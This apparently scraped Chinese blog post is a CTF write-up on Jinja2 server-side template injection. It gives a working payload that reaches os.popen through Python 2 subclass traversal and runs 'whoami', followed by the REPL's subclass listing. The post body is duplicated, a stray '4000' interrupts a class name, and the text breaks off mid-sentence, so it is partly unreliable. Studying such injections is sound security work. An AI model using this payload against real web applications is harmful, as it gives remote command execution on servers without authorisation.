Jinja2 模板注入&模板内命令执行
2018-03-13 09:11
169 查看
原因:
ichunqiu 的web中有一个 Musee de X ,知道 http:// 文件能获取,但是没有想到 file:// 获取文件,根据报错也没有想过他用的是 jinja2。后来朋友说payload每个环境可能不太一样,就自己尝试了一波。
分析:
这是 python2 运行的,结果就是输出 whoami 的信息
#code:utf-8
from jinja2 import Template
import sys
reload(sys)
sys.setdefaultencoding('utf8')
a = Template("{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('whoami').read()}}")
print(a.render())
开始 我用 python3 逐步输出,然后发现怎么都不行,还是太菜 ... 用 python2 一会儿就行了 ...
C:\Users\shark\Desktop>python2
Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>,
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>,
<type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>,
<type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>,
<type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>,
<class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Qui
4000
tter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]发现输出很多类名,根据猜测为 import 的类和内置的类。
于是猜测 payload 为 类名.方法 格式
但是我不知道题目用的是那个类,于是构造[].__class__.__base__.__subclasses__()[59]去获取题目用的类名 发现为
<class 'warnings.catch_warnings'>于是找到自己对应类的序号,然后在本地构造
ichunqiu 的web中有一个 Musee de X ,知道 http:// 文件能获取,但是没有想到 file:// 获取文件,根据报错也没有想过他用的是 jinja2。后来朋友说payload每个环境可能不太一样,就自己尝试了一波。
分析:
这是 python2 运行的,结果就是输出 whoami 的信息
#code:utf-8
from jinja2 import Template
import sys
reload(sys)
sys.setdefaultencoding('utf8')
a = Template("{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('whoami').read()}}")
print(a.render())
开始 我用 python3 逐步输出,然后发现怎么都不行,还是太菜 ... 用 python2 一会儿就行了 ...
C:\Users\shark\Desktop>python2
Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>,
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>,
<type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>,
<type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>,
<type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>,
<class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Qui
4000
tter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]发现输出很多类名,根据猜测为 import 的类和内置的类。
于是猜测 payload 为 类名.方法 格式
但是我不知道题目用的是那个类,于是构造[].__class__.__base__.__subclasses__()[59]去获取题目用的类名 发现为
<class 'warnings.catch_warnings'>于是找到自己对应类的序号,然后在本地构造
相关文章推荐
- 《大话设计模式》——学习笔记之"行为型模式"(观察者&模板方法&命令&状态&职责链&解释器&中介者&访问者&策略&备忘录&迭代器)
- 执行数据库命令(Command对象)——ADO.NET学习&应用笔记之三
- MySQL执行外部sql脚本文件命令是报错:unknown command '\'
- 【学习摘记】马士兵Servlet&JSP_课时21_page_directive(编译期间执行的命令)——包的导入、错误跳转页面设置
- linux后台执行命令:&和nohup
- Flask jinja2模板注入思路总结
- 无法在环境变量中找到make命令: make 构建项目HelloWorld 时发生错误 (目标: 桌面) 当执行构建步骤 'Make'时
- [一天几个linux命令] 命令执行的决断依据 ; && ||
- 【linux学习笔记】命令执行判断依据(';'、'&&'、'||')管线命令('|')以及cut、grep命令
- Linux-一次执行多个命令 ; && ||
- Java用cmd&nbsp;&nbsp;执行命令&nbsp;关于文件路径…
- Linux shell脚本中执行命令结果赋值给变量&&echo输出变量是否包含换行符的问题
- 命令执行的判断依据: ; , &&, ||
- 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验
- android上代码去执行"su"命令
- 20145211《网络对抗》注入Shellcode并执行&&Return-to-libc攻击
- linux后台执行命令--nohup &
- Linux:命令执行控制&&与||
- linux后台执行命令:&和nohup
- shell 脚本中后台执行命令 &